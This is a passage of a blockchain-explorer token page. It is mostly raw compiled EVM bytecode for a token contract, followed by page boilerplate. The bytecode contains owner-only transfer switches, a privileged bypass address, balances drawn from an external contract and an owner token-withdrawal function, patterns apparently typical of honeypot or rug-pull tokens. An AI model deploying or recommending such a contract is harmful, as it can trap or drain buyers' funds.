fffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663ee5e758c306040518263ffffffff1660e01b815260040161058291906116f6565b6020604051808303816000875af11580156105a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c5919061184d565b5050565b600480546105d6906118a9565b80601f0160208091040260200160405190810160405280929190818152602001828054610602906118a9565b801561064f5780601f106106245761010080835404028352916020019161064f565b820191906000526020600020905b81548152906001019060200180831161063257829003601f168201915b505050505081565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106de90611801565b60405180910390fd5b6001600760146101000a81548160ff02191690831515021790555080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108269190611639565b60405180910390a36001905092915050565b60005481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c590611801565b60405180910390fd5b81600a81905550806009819055505050565b600081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461096e9190611909565b925050819055508161097f85611070565b6109899190611909565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816109d684611070565b6109e0919061193d565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a809190611639565b60405180910390a3600190509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900460ff1681565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fcee45f4836040518263ffffffff1660e01b8152600401610b299190611639565b602060405180830381865afa158015610b46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6a9190611986565b9050919050565b60095481565b600760149054906101000a900460ff1681565b600a5481565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b295a00e6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c239190611986565b905090565b60026020528060005260406000206000915090505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054610c73906118a9565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9f906118a9565b8015610cec5780601f10610cc157610100808354040283529160200191610cec565b820191906000526020600020905b815481529060010190602001808311610ccf57829003601f168201915b505050505081565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7b90611801565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610dbf91906116f6565b602060405180830381865afa158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e009190611986565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610e3d9291906119b3565b6020604051808303816000875af1158015610e5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e80919061184d565b505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760149054906101000a900460ff16610ec657600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610f2d57610f263384846111e9565b9050611045565b81610f3733611070565b610f419190611909565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081610f8e84611070565b610f98919061193d565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110389190611639565b60405180910390a3600190505b92915050565b6003602052816000526040600020602052806000526040600020600091509150505481565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b81526004016110cd91906116f6565b602060405180830381865afa1580156110ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110e9190611986565b9050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119c90611801565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461123a9190611909565b92505081905550600061124c83610acc565b90508061125830611070565b611262919061193d565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113029190611639565b60405180910390a3600081846113189190611909565b90508061132486611070565b61132e919061193d565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061137b610b90565b9050600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156113c957600080fd5b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114269190611639565b60405180910390a3600193505050509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061146c82611441565b9050919050565b61147c81611461565b811461148757600080fd5b50565b60008135905061149981611473565b92915050565b6000602082840312156114b5576114b461143c565b5b60006114c38482850161148a565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156115065780820151818401526020810190506114eb565b60008484015250505050565b6000601f19601f8301169050919050565b600061152e826114cc565b61153881856114d7565b93506115488185602086016114e8565b61155181611512565b840191505092915050565b600060208201905081810360008301526115768184611523565b905092915050565b6000819050919050565b6115918161157e565b811461159c57600080fd5b50565b6000813590506115ae81611588565b92915050565b600080604083850312156115cb576115ca61143c565b5b60006115d98582860161148a565b92505060206115ea8582860161159f565b9150509250929050565b60008115159050919050565b611609816115f4565b82525050565b60006020820190506116246000830184611600565b92915050565b6116338161157e565b82525050565b600060208201905061164e600083018461162a565b92915050565b6000806040838503121561166b5761166a61143c565b5b60006116798582860161159f565b925050602061168a8582860161159f565b9150509250929050565b6000806000606084860312156116ad576116ac61143c565b5b60006116bb8682870161148a565b93505060206116cc8682870161148a565b92505060406116dd8682870161159f565b9150509250925092565b6116f081611461565b82525050565b600060208201905061170b60008301846116e7565b92915050565b600060ff82169050919050565b61172781611711565b82525050565b6000602082019050611742600083018461171e565b92915050565b60006020828403121561175e5761175d61143c565b5b600061176c8482850161159f565b91505092915050565b6000806040838503121561178c5761178b61143c565b5b600061179a8582860161148a565b92505060206117ab8582860161148a565b9150509250929050565b7f4e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b60006117eb6009836114d7565b91506117f6826117b5565b602082019050919050565b6000602082019050818103600083015261181a816117de565b9050919050565b61182a816115f4565b811461183557600080fd5b50565b60008151905061184781611821565b92915050565b6000602082840312156118635761186261143c565b5b600061187184828501611838565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118c157607f821691505b6020821081036118d4576118d361187a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119148261157e565b915061191f8361157e565b9250828203905081811115611937576119366118da565b5b92915050565b60006119488261157e565b91506119538361157e565b925082820190508082111561196b5761196a6118da565b5b92915050565b60008151905061198081611588565b92915050565b60006020828403121561199c5761199b61143c565b5b60006119aa84828501611971565b91505092915050565b60006040820190506119c860008301856116e7565b6119d5602083018461162a565b939250505056fea26469706673582212207b14fe66172d7e37edb74f6e3fef0044f626ef3d6d054d2a41cefdbb96bf6d9f64736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.